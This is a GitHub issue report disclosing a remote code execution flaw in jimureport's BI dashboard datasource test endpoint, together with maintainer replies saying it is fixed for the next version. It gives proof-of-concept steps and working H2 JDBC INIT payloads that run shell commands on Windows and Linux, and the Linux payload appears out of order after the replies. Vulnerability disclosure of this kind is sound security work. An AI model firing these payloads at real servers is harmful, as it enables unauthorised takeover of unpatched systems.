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jimureport BI Dashboard Datasource H2 JDBC RCE
Vulnerability (≤ v2.3.0) #4587

New issue

Closed

Labels bug

jackieya opened 2 weeks ago

Product: jimureport
Affected Versions: ≤ v2.3.0
Demo Environment: Windows 10 + JDK 17

Vulnerability Description

The /drag/onlDragDataSource/testConnection  endpoint in the BI Dashboard datasource management
module does not validate dangerous H2 database parameters in the dbUrl  parameter. An attacker can

exploit the INIT  parameter in H2 JDBC URLs to execute arbitrary Java code during database connection

establishment, achieving Remote Code Execution (RCE).

A related issue #4117 mentioned this endpoint's vulnerability, but the subsequent fix only addressed DB2
injection — H2 JDBC injection remains unpatched.

POC

1. Log in to the admin panel, navigate to Report Workspace → select any dashboard → click "Data
Source"

2. Select database type as Hsqldb, fill in arbitrary data, click "Test", and intercept the request with a packet
capture tool
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3. Modify the dbUrl  parameter in the JSON request body to the following payload and resend:

jdbc:h2:mem:exploit_db;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS 'void exec(String c) throws 

Exception { Runtime.getRuntime().exec(new String[]{\"cmd\",\"/c\",c})\\;}'\\;CALL 

EXEC('calc')
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4. On Windows, the calculator pops up successfully, confirming RCE

Linux payload (replace cmd /c  with sh -c ):

jeecgos 2 weeks ago Collaborator

sq

jeecgai last week

已修改，下版本更新

jdbc:h2:mem:exploit_db;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS 'void exec(String c) throws 

Exception { Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",c})\\;}'\\;CALL EXEC('id 

> /tmp/pwned')

jackieya added  2 weeks agobug

zhangdaiscott closed this as completed last week
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